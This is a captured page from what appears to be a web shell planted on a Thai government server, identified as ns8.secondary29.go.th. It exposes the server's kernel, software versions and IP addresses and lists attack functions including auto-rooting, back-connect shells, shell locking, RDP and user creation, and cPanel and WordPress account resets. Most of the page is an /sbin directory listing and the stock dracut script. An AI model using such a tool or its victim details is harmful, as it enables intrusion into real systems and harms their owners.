Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
MAKEDEV
28.14
KB
-rwxr-xr-x
accton
10.45
KB
-rwxr-xr-x
addpart
8.26
KB
-rwxr-xr-x
agetty
26.09
KB
-rwxr-xr-x
alsactl
101.37
KB
-rwxr-xr-x
arp
61.37
KB
-rwxr-xr-x
arping
17.48
KB
-rwxr-xr-x
audispd
38.02
KB
-rwxr-x---
auditctl
38.03
KB
-rwxr-x---
augenrules
3.48
KB
-rwxr-x---
aureport
95.78
KB
-rwxr-xr-x
ausearch
93.02
KB
-rwxr-xr-x
autrace
16.13
KB
-rwxr-x---
badblocks
29.05
KB
-rwxr-xr-x
biosdevname
37.26
KB
-rwxr-xr-x
blkdeactivate
13.25
KB
-rwxr-xr-x
blkdiscard
18.73
KB
-rwxr-xr-x
blkid
27.17
KB
-rwxr-xr-x
blockdev
17.21
KB
-rwxr-xr-x
bridge
53.63
KB
-rwxr-xr-x
busybox
1021.48
KB
-rwxr-xr-x
cache_check
1.54
MB
-rwxr-xr-x
cache_dump
1.54
MB
-rwxr-xr-x
cache_metadata_size
1.54
MB
-rwxr-xr-x
cache_repair
1.54
MB
-rwxr-xr-x
cache_restore
1.54
MB
-rwxr-xr-x
cbq
32.77
KB
-rwxr-xr-x
cfdisk
68.41
KB
-rwxr-xr-x
chcpu
29.11
KB
-rwxr-xr-x
chkconfig
36.07
KB
-rwxr-xr-x
clock
47.52
KB
-rwxr-xr-x
consoletype
7.71
KB
-rwxr-xr-x
cryptsetup
43.6
KB
-rwxr-xr-x
ctrlaltdel
8.39
KB
-rwxr-xr-x
debugfs
94.08
KB
-rwxr-xr-x
delpart
8.22
KB
-rwxr-xr-x
depmod
133.05
KB
-rwxr-xr-x
dm_dso_reg_tool
13.6
KB
-rwxr-xr-x
dmevent_tool
13.6
KB
-rwxr-xr-x
dmeventd
42.18
KB
-r-xr-xr-x
dmraid
26.27
KB
-rwxr-xr-x
dmraid.static
26.27
KB
-rwxr-xr-x
dmsetup
142.03
KB
-rwxr-xr-x
dmstats
142.03
KB
-rwxr-xr-x
dosfsck
54.05
KB
-rwxr-xr-x
dosfslabel
51.06
KB
-rwxr-xr-x
dracut
11.86
KB
-rwxr-xr-x
dumpe2fs
22.74
KB
-rwxr-xr-x
e2fsck
192.73
KB
-rwxr-xr-x
e2image
28.74
KB
-rwxr-xr-x
e2label
41.73
KB
-rwxr-xr-x
e2undo
14.25
KB
-rwxr-xr-x
era_check
1.54
MB
-rwxr-xr-x
era_dump
1.54
MB
-rwxr-xr-x
era_invalidate
1.54
MB
-rwxr-xr-x
era_restore
1.54
MB
-rwxr-xr-x
ether-wake
14.37
KB
-rwxr-xr-x
ethtool
233.75
KB
-rwxr-xr-x
faillock
14.57
KB
-rwxr-xr-x
fdisk
112.05
KB
-rwxr-xr-x
findfs
9.38
KB
-rwxr-xr-x
fixfiles
7.75
KB
-rwxr-xr-x
fsadm
14.88
KB
-r-xr-xr-x
fsck
33.87
KB
-rwxr-xr-x
fsck.cramfs
15.82
KB
-rwxr-xr-x
fsck.ext2
192.73
KB
-rwxr-xr-x
fsck.ext3
192.73
KB
-rwxr-xr-x
fsck.ext4
192.73
KB
-rwxr-xr-x
fsck.ext4dev
192.73
KB
-rwxr-xr-x
fsck.msdos
54.05
KB
-rwxr-xr-x
fsck.vfat
54.05
KB
-rwxr-xr-x
fsfreeze
10.27
KB
-rwxr-xr-x
fstab-decode
8.14
KB
-rwxr-xr-x
fstrim
17.95
KB
-rwxr-xr-x
fuser
28.48
KB
-rwxr-xr-x
genhostid
7.91
KB
-rwxr-xr-x
getkey
11.71
KB
-rwxr-xr-x
grub
740.84
KB
-rwxr-xr-x
grub-crypt
2.41
KB
-rwxr-xr-x
grub-install
18
KB
-rwxr-xr-x
grub-md5-crypt
2.24
KB
-rwxr-xr-x
grub-terminfo
2.42
KB
-rwxr-xr-x
grubby
50.31
KB
-rwxr-xr-x
halt
14.48
KB
-rwxr-xr-x
hdparm
108.85
KB
-rwxr-xr-x
hwclock
47.52
KB
-rwxr-xr-x
ifcfg
2.98
KB
-rwxr-xr-x
ifconfig
72.23
KB
-rwxr-xr-x
ifdown
1.47
KB
-rwxr-xr-x
ifenslave
21.65
KB
-rwxr-xr-x
ifrename
31.43
KB
-rwxr-xr-x
ifup
4.58
KB
-rwxr-xr-x
initctl
135.53
KB
-rwxr-xr-x
insmod
13.79
KB
-rwxr-xr-x
insmod.static
784.58
KB
-rwxr-xr-x
install-info
42.56
KB
-rwxr-xr-x
installkernel
2.61
KB
-rwxr-xr-x
ip
241.45
KB
-rwxr-xr-x
ip6tables
49.64
KB
-rwxr-xr-x
ip6tables-1.4.7
49.64
KB
-rwxr-xr-x
ip6tables-multi
49.64
KB
-rwxr-xr-x
ip6tables-multi-1.4.7
49.64
KB
-rwxr-xr-x
ip6tables-restore
49.64
KB
-rwxr-xr-x
ip6tables-restore-1.4.7
49.64
KB
-rwxr-xr-x
ip6tables-save
49.64
KB
-rwxr-xr-x
ip6tables-save-1.4.7
49.64
KB
-rwxr-xr-x
ipmaddr
18.92
KB
-rwxr-xr-x
iptables
58.45
KB
-rwxr-xr-x
iptables-1.4.7
58.45
KB
-rwxr-xr-x
iptables-multi
58.45
KB
-rwxr-xr-x
iptables-multi-1.4.7
58.45
KB
-rwxr-xr-x
iptables-restore
58.45
KB
-rwxr-xr-x
iptables-restore-1.4.7
58.45
KB
-rwxr-xr-x
iptables-save
58.45
KB
-rwxr-xr-x
iptables-save-1.4.7
58.45
KB
-rwxr-xr-x
iptunnel
22.75
KB
-rwxr-xr-x
iw
160.43
KB
-rwxr-xr-x
iwconfig
29.58
KB
-rwxr-xr-x
iwevent
18.23
KB
-rwxr-xr-x
iwgetid
14.06
KB
-rwxr-xr-x
iwlist
35.68
KB
-rwxr-xr-x
iwpriv
14.87
KB
-rwxr-xr-x
iwspy
13.94
KB
-rwxr-xr-x
kdump
10.83
KB
-rwxr-xr-x
kexec
176.1
KB
-rwxr-xr-x
killall5
19.98
KB
-rwxr-xr-x
kpartx
38.43
KB
-rwxr-xr-x
ldconfig
878.12
KB
-rwxr-xr-x
load_policy
10.21
KB
-rwxr-xr-x
logsave
12.8
KB
-rwxr-xr-x
losetup
31.2
KB
-rwxr-xr-x
lsinitrd
3.93
KB
-rwxr-xr-x
lsmod
8.88
KB
-rwxr-xr-x
lspci
70.12
KB
-rwxr-xr-x
lspcmcia
35.33
KB
-rwxr-xr-x
lvchange
1.46
MB
-r-xr-xr-x
lvconvert
1.46
MB
-r-xr-xr-x
lvcreate
1.46
MB
-r-xr-xr-x
lvdisplay
1.46
MB
-r-xr-xr-x
lvextend
1.46
MB
-r-xr-xr-x
lvm
1.46
MB
-r-xr-xr-x
lvmchange
1.46
MB
-r-xr-xr-x
lvmconf
12.39
KB
-r-xr-xr-x
lvmconfig
1.46
MB
-r-xr-xr-x
lvmdiskscan
1.46
MB
-r-xr-xr-x
lvmdump
9.43
KB
-r-xr-xr-x
lvmetad
66.09
KB
-r-xr-xr-x
lvmsadc
1.46
MB
-r-xr-xr-x
lvmsar
1.46
MB
-r-xr-xr-x
lvreduce
1.46
MB
-r-xr-xr-x
lvremove
1.46
MB
-r-xr-xr-x
lvrename
1.46
MB
-r-xr-xr-x
lvresize
1.46
MB
-r-xr-xr-x
lvs
1.46
MB
-r-xr-xr-x
lvscan
1.46
MB
-r-xr-xr-x
matchpathcon
12.01
KB
-rwxr-xr-x
mdmon
229.84
KB
-rwxr-xr-x
microcode_ctl
11.61
KB
-rwxr-xr-x
mii-diag
21.25
KB
-rwxr-xr-x
mii-tool
17.8
KB
-rwxr-xr-x
mingetty
18.7
KB
-rwxr-xr-x
mkdosfs
29.88
KB
-rwxr-xr-x
mkdumprd
120.65
KB
-rwxr-xr-x
mke2fs
67.34
KB
-rwxr-xr-x
mkfs
10.09
KB
-rwxr-xr-x
mkfs.cramfs
26.26
KB
-rwxr-xr-x
mkfs.ext2
67.34
KB
-rwxr-xr-x
mkfs.ext3
67.34
KB
-rwxr-xr-x
mkfs.ext4
67.34
KB
-rwxr-xr-x
mkfs.ext4dev
67.34
KB
-rwxr-xr-x
mkfs.msdos
29.88
KB
-rwxr-xr-x
mkfs.vfat
29.88
KB
-rwxr-xr-x
mkhomedir_helper
22.01
KB
-rwxr-xr-x
mkinitrd
3.33
KB
-rwxr-xr-x
mkswap
30.78
KB
-rwxr-xr-x
modinfo
95.34
KB
-rwxr-xr-x
modprobe
121.42
KB
-rwxr-xr-x
mount.cifs
39.59
KB
-rwxr-xr-x
mount.nfs
122.47
KB
-rwsr-xr-x
mount.nfs4
122.47
KB
-rwsr-xr-x
mount.tmpfs
1.31
KB
-rwxr-xr-x
nameif
15.26
KB
-rwxr-xr-x
netreport
8.59
KB
-rwxr-sr-x
new-kernel-pkg
13.57
KB
-rwxr-xr-x
nfs_cache_getent
460
B
-rwxr-xr-x
nologin
7.63
KB
-rwxr-xr-x
pam_console_apply
41.13
KB
-rwxr-xr-x
pam_tally2
16.87
KB
-rwxr-xr-x
parted
85.11
KB
-rwxr-xr-x
partprobe
14.98
KB
-rwxr-xr-x
partx
24.9
KB
-rwxr-xr-x
pccardctl
35.33
KB
-rwxr-xr-x
pdata_tools
1.54
MB
-rwxr-xr-x
pidof
19.98
KB
-rwxr-xr-x
pivot_root
7.61
KB
-rwxr-xr-x
plipconfig
10.52
KB
-rwxr-xr-x
poweroff
14.48
KB
-rwxr-xr-x
ppp-watch
29.08
KB
-rwxr-xr-x
pvchange
1.46
MB
-r-xr-xr-x
pvck
1.46
MB
-r-xr-xr-x
pvcreate
1.46
MB
-r-xr-xr-x
pvdisplay
1.46
MB
-r-xr-xr-x
pvmove
1.46
MB
-r-xr-xr-x
pvremove
1.46
MB
-r-xr-xr-x
pvresize
1.46
MB
-r-xr-xr-x
pvs
1.46
MB
-r-xr-xr-x
pvscan
1.46
MB
-r-xr-xr-x
quotacheck
103.01
KB
-rwxr-xr-x
quotaoff
72.5
KB
-rwxr-xr-x
quotaon
72.5
KB
-rwxr-xr-x
readahead
25.51
KB
-rwxr-xr-x
readahead-collector
27.76
KB
-rwxr-xr-x
reboot
14.48
KB
-rwxr-xr-x
reload
135.53
KB
-rwxr-xr-x
request-key
20.91
KB
-rwxr-xr-x
resize2fs
41.49
KB
-rwxr-xr-x
restart
135.53
KB
-rwxr-xr-x
restorecon
26.63
KB
-rwxr-xr-x
rfkill
12.13
KB
-rwxr-xr-x
rmmod
16.28
KB
-rwxr-xr-x
rngd
23.47
KB
-rwxr-xr-x
route
58.38
KB
-rwxr-xr-x
rtmon
37.7
KB
-rwxr-xr-x
runlevel
14.02
KB
-rwxr-xr-x
runuser
32.7
KB
-rwxr-xr-x
scsi_id
34.55
KB
-rwxr-xr-x
securetty
10.7
KB
-rwxr-xr-x
service
1.65
KB
-rwxr-xr-x
setfiles
26.63
KB
-rwxr-xr-x
setpci
23.37
KB
-rwxr-xr-x
setsysfont
850
B
-rwxr-xr-x
sfdisk
71.53
KB
-rwxr-xr-x
sgpio
16.36
KB
-rwxr-xr-x
shutdown
62.98
KB
-rwxr-xr-x
slattach
37.35
KB
-rwxr-xr-x
sln
676.6
KB
-rwxr-xr-x
start
135.53
KB
-rwxr-xr-x
status
135.53
KB
-rwxr-xr-x
stop
135.53
KB
-rwxr-xr-x
sulogin
16.6
KB
-rwxr-xr-x
sushell
67
B
-rwxr-xr-x
swapoff
29.69
KB
-rwxr-xr-x
swapon
29.69
KB
-rwxr-xr-x
switch_root
11.95
KB
-rwxr-xr-x
sysctl
18.92
KB
-rwxr-xr-x
tc
253.53
KB
-rwxr-xr-x
telinit
50.33
KB
-rwxr-xr-x
thin_check
1.54
MB
-rwxr-xr-x
thin_delta
1.54
MB
-rwxr-xr-x
thin_dump
1.54
MB
-rwxr-xr-x
thin_ls
1.54
MB
-rwxr-xr-x
thin_metadata_size
1.54
MB
-rwxr-xr-x
thin_repair
1.54
MB
-rwxr-xr-x
thin_restore
1.54
MB
-rwxr-xr-x
thin_rmap
1.54
MB
-rwxr-xr-x
thin_trim
1.54
MB
-rwxr-xr-x
tune2fs
41.73
KB
-rwxr-xr-x
umount.hal
11.94
KB
-rwxr-xr-x
umount.nfs
122.47
KB
-rwsr-xr-x
umount.nfs4
122.47
KB
-rwsr-xr-x
unix_chkpwd
34.02
KB
-rwsr-xr-x
vconfig
13.16
KB
-rwxr-xr-x
vgcfgbackup
1.46
MB
-r-xr-xr-x
vgcfgrestore
1.46
MB
-r-xr-xr-x
vgchange
1.46
MB
-r-xr-xr-x
vgck
1.46
MB
-r-xr-xr-x
vgconvert
1.46
MB
-r-xr-xr-x
vgcreate
1.46
MB
-r-xr-xr-x
vgdisplay
1.46
MB
-r-xr-xr-x
vgexport
1.46
MB
-r-xr-xr-x
vgextend
1.46
MB
-r-xr-xr-x
vgimport
1.46
MB
-r-xr-xr-x
vgimportclone
9.4
KB
-r-xr-xr-x
vgmerge
1.46
MB
-r-xr-xr-x
vgmknodes
1.46
MB
-r-xr-xr-x
vgreduce
1.46
MB
-r-xr-xr-x
vgremove
1.46
MB
-r-xr-xr-x
vgrename
1.46
MB
-r-xr-xr-x
vgs
1.46
MB
-r-xr-xr-x
vgscan
1.46
MB
-r-xr-xr-x
vgsplit
1.46
MB
-r-xr-xr-x
vmcore-dmesg
16.99
KB
-rwxr-xr-x
weak-modules
15.83
KB
-rwxr-xr-x
wipefs
16.19
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dracut
#!/bin/bash # # Generator script for a dracut initramfs # Tries to retain some degree of compatibility with the command line # of the various mkinitrd implementations out there # # Copyright 2005-2009 Red Hat, Inc. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # store for logging dracut_args="$@" usage() { # 80x25 linebreak here ^ echo "Usage: $0 [OPTION]... <initramfs> <kernel-version> Creates initial ramdisk images for preloading modules -f, --force Overwrite existing initramfs file. -m, --modules [LIST] Specify a space-separated list of dracut modules to call when building the initramfs. Modules are located in /usr/share/dracut/modules.d. -o, --omit [LIST] Omit a space-separated list of dracut modules. -a, --add [LIST] Add a space-separated list of dracut modules. -d, --drivers [LIST] Specify a space-separated list of kernel modules to exclusively include in the initramfs. --add-drivers [LIST] Specify a space-separated list of kernel modules to add to the initramfs. --omit-drivers [LIST] Specify a space-separated list of kernel modules not to add to the initramfs. --filesystems [LIST] Specify a space-separated list of kernel filesystem modules to exclusively include in the generic initramfs. -k, --kmoddir [DIR] Specify the directory, where to look for kernel modules --fwdir [DIR] Specify additional directories, where to look for firmwares, separated by : --kernel-only Only install kernel drivers and firmware files --no-kernel Do not install kernel drivers and firmware files --strip Strip binaries in the initramfs (default) --nostrip Do not strip binaries in the initramfs --mdadmconf Include local /etc/mdadm.conf --nomdadmconf Do not include local /etc/mdadm.conf --lvmconf Include local /etc/lvm/lvm.conf --nolvmconf Do not include local /etc/lvm/lvm.conf -h, --help This message --debug Output debug information of the build process -v, --verbose Verbose output during the build process -c, --conf [FILE] Specify configuration file to use. Default: /etc/dracut.conf -l, --local Local mode. Use modules from the current working directory instead of the system-wide installed in /usr/share/dracut/modules.d. Useful when running dracut from a git checkout. -H, --hostonly Host-Only mode: Install only what is needed for booting the local host instead of a generic host. -i, --include [SOURCE] [TARGET] Include the files in the SOURCE directory into the Target directory in the final initramfs. -I, --install [LIST] Install the space separated list of files into the initramfs. " } while (($# > 0)); do case $1 in -f|--force) force=yes;; -m|--modules) dracutmodules_l="$2"; shift;; -o|--omit) omit_dracutmodules_l="$2"; shift;; -a|--add) add_dracutmodules_l="$2"; shift;; -d|--drivers) drivers_l="$2"; shift;; --add-drivers) add_drivers_l="$2"; shift;; --omit-drivers) omit_drivers_l+="$2"; shift;; --filesystems) filesystems_l="$2"; shift;; -k|--kmoddir) drivers_dir_l="$2"; shift;; --fwdir) fw_dir_l="$2"; shift;; --kernel-only) kernel_only="yes"; no_kernel="no";; --no-kernel) kernel_only="no"; no_kernel="yes";; --strip) do_strip_l="yes";; --nostrip) do_strip_l="no";; --mdadmconf) mdadmconf_l="yes";; --nomdadmconf) mdadmconf_l="no";; --lvmconf) lvmconf_l="yes";; --nolvmconf) lvmconf_l="no";; -h|--help) usage; exit 1 ;; --debug) debug="yes";; -v|--verbose) beverbose="yes";; -c|--conf) conffile="$2"; shift;; --confdir) confdir="$2"; shift;; -l|--local) allowlocal="yes" ;; -H|--hostonly) hostonly_l="yes" ;; -i|--include) include_src="$2"; include_target="$3"; shift 2;; -I|--install) install_items="$2"; shift;; -*) printf "\nUnknown option: %s\n\n" "$1" >&2; usage; exit 1;; *) break ;; esac shift done PATH=/sbin:/bin:/usr/sbin:/usr/bin export PATH unset LD_LIBRARY_PATH unset GREP_OPTIONS [[ $debug ]] && { export PS4='${BASH_SOURCE}@${LINENO}(${FUNCNAME[0]}): '; set -x } [[ $dracutbasedir ]] || dracutbasedir=/usr/share/dracut [[ $allowlocal && -f "$(readlink -f $(dirname $0))/dracut-functions" ]] && dracutbasedir="$(dirname $0)" # if we were not passed a config file, try the default one if [[ ! -f $conffile ]]; then [[ $allowlocal ]] || conffile="/etc/dracut.conf" [[ $allowlocal ]] && conffile="$dracutbasedir/dracut.conf" fi if [[ ! -d $confdir ]]; then [[ $allowlocal ]] || confdir="/etc/dracut.conf.d" [[ $allowlocal ]] && confdir="$dracutbasedir/dracut.conf.d" fi # source our config dir if [ "$confdir" ] && [ -d "$confdir" ]; then for f in "$confdir"/*.conf; do [ -e "$f" ] && . "$f" done fi # source our config file [[ -f $conffile ]] && . "$conffile" # these optins add to the stuff in the config file [[ $add_dracutmodules_l ]] && add_dracutmodules+=" $add_dracutmodules_l" [[ $add_drivers_l ]] && add_drivers+=" $add_drivers_l" [[ $omit_drivers_l ]] && omit_drivers+=" $omit_drivers_l" # these options override the stuff in the config file [[ $dracutmodules_l ]] && dracutmodules=$dracutmodules_l [[ $omit_dracutmodules_l ]] && omit_dracutmodules=$omit_dracutmodules_l [[ $drivers_l ]] && drivers=$drivers_l [[ $filesystems_l ]] && filesystems=$filesystems_l [[ $drivers_dir_l ]] && drivers_dir=$drivers_dir_l [[ $fw_dir_l ]] && fw_dir=$fw_dir_l [[ $do_strip_l ]] && do_strip=$do_strip_l [[ $hostonly_l ]] && hostonly=$hostonly_l [[ $mdadmconf_l ]] && mdadmconf=$mdadmconf_l [[ $lvmconf_l ]] && lvmconf=$lvmconf_l [[ $dracutbasedir ]] || dracutbasedir=/usr/share/dracut [[ $fw_dir ]] || fw_dir=/lib/firmware [[ $do_strip ]] || do_strip=yes # eliminate IFS hackery when messing with fw_dir fw_dir=${fw_dir//:/ } [[ $hostonly = yes ]] && hostonly="-h" [[ $hostonly != "-h" ]] && unset hostonly if [[ -f $dracutbasedir/dracut-functions ]]; then . $dracutbasedir/dracut-functions else echo "Cannot find $dracutbasedir/dracut-functions. Are you running from a git checkout?" echo "Try passing -l as an argument to $0" exit 1 fi dracutfunctions=$dracutbasedir/dracut-functions export dracutfunctions dinfo "Executing $0 $dracut_args" omit_drivers_corrected="" for d in $omit_drivers; do strstr " $drivers $add_drivers " " $d " && continue omit_drivers_corrected+="$d|" done omit_drivers="${omit_drivers_corrected%|}" unset omit_drivers_corrected # This is kinda legacy -- eventually it should go away. case $dracutmodules in ""|auto) dracutmodules="all" ;; esac [[ $2 ]] && kernel=$2 || kernel=$(uname -r) [[ $1 ]] && outfile=$1 || outfile="/boot/initramfs-$kernel.img" abs_outfile=$(readlink -f "$outfile") && outfile="$abs_outfile" srcmods="/lib/modules/$kernel/" [[ $drivers_dir ]] && srcmods="$drivers_dir" export srcmods if [[ -f $outfile && ! $force ]]; then derror "Will not override existing initramfs ($outfile) without --force" exit 1 fi outdir=$(dirname "$outfile") if ! [[ -d "$outdir" ]]; then derror "Can't write $outfile: Directory $outdir does not exist." exit 1 fi if ! [[ -w "$outdir" ]]; then derror "No permission to write $outdir." exit 1 fi if [[ -f "$outfile" ]] && ! [[ -w "$outfile" ]]; then derror "No permission to write $outfile." exit 1 fi hookdirs="cmdline pre-udev pre-trigger netroot pre-mount pre-pivot mount emergency initqueue initqueue-finished initqueue-settled initqueue-timeout " [[ -n "$TMPDIR" ]] && ! [[ -w "$TMPDIR" ]] && unset TMPDIR readonly initdir=$(mktemp -d -t initramfs.XXXXXX) trap 'ret=$?;rm -rf "$initdir";exit $ret;' EXIT # clean up after ourselves no matter how we die. trap 'exit 1;' SIGINT # clean up after ourselves no matter how we die. # Need to be able to have non-root users read stuff (rpcbind etc) chmod 755 "$initdir" export initdir hookdirs dracutbasedir dracutmodules drivers \ fw_dir drivers_dir debug beverbose no_kernel kernel_only \ add_drivers omit_drivers mdadmconf lvmconf filesystems if [[ $kernel_only != yes ]]; then # Create some directory structure first for d in bin sbin usr/bin usr/sbin usr/lib etc proc sys sysroot tmp dev/pts var/log var/run $hookdirs; do inst_dir "/$d" done fi # check all our modules to see if they should be sourced. # This builds a list of modules that we will install next. check_modules modules_loaded=" " # source our modules. for moddir in "$dracutbasedir/modules.d"/[0-9][0-9]*; do _d_mod=${moddir##*/}; _d_mod=${_d_mod#[0-9][0-9]} if strstr "$mods_to_load" " $_d_mod "; then if [[ $kernel_only = yes ]]; then [[ -x $moddir/installkernel ]] && . "$moddir/installkernel" else [[ -x "$moddir/install" ]] && . "$moddir/install" if [[ $no_kernel != yes && -x $moddir/installkernel ]]; then . "$moddir/installkernel" fi fi modules_loaded+="$_d_mod " mods_to_load=${mods_to_load// $_d_mod /} fi done unset moddir ## final stuff that has to happen # generate module dependencies for the initrd if [[ -d $initdir/lib/modules/$kernel ]]; then if ! depmod -a -b "$initdir" $kernel; then derror "\"depmod -a $kernel\" failed." exit 1 fi fi if [[ $include_src && $include_target ]]; then if [[ -f $include_src ]]; then inst $include_src $include_target else mkdir -p "$initdir$include_target" cp -a -t "$initdir$include_target" "$include_src"/* fi fi for item in $install_items; do dracut_install "$item" done unset item # make sure that library links are correct and up to date cp -ar /etc/ld.so.conf* "$initdir"/etc ldconfig -r "$initdir" || [[ $(id -u) != "0" ]] && dinfo "ldconfig might need uid=0 (root) for chroot()" [[ $beverbose = yes ]] && (du -c "$initdir" | sort -n) # strip binaries if [[ $do_strip = yes ]] ; then for p in strip grep find; do if ! which $p >/dev/null 2>&1; then dwarn "Could not find '$p'. Not stripping binaries in the initramfs." do_strip=no fi done fi if [[ $do_strip = yes ]] ; then for f in $(find "$initdir" -type f \( -perm -0100 -or -perm -0010 -or -perm -0001 -or -path '*/lib/modules/*.ko' \) ); do # do not strip files with a .hmac file, # because that would alter the checksum if ! [[ -f "${f%/*}/.${f##*/}.hmac" ]]; then dinfo "Stripping '$f'" strip -g "$f" 2>/dev/null|| : else dinfo "Not stripping '$f', because it has a hmac checksum file." fi done fi if strstr "$modules_loaded" " fips " && command -v prelink >/dev/null; then for i in $initdir/bin/* \ $initdir/bin/* \ $initdir/usr/bin/* \ $initdir/usr/sbin/*; do [ -x $i ] && prelink -u $i &>/dev/null done fi type pigz &>/dev/null && gzip=pigz || gzip=gzip if ! ( set -o pipefail; umask 077; cd "$initdir"; find . |cpio -R root:root -H newc -o --quiet| \ $gzip -9 > "$outfile"; ); then derror "dracut: creation of $outfile failed" rm -f "$outfile" exit 1 fi dinfo "Wrote $outfile" dinfo $(ls -l "$outfile") exit 0
Close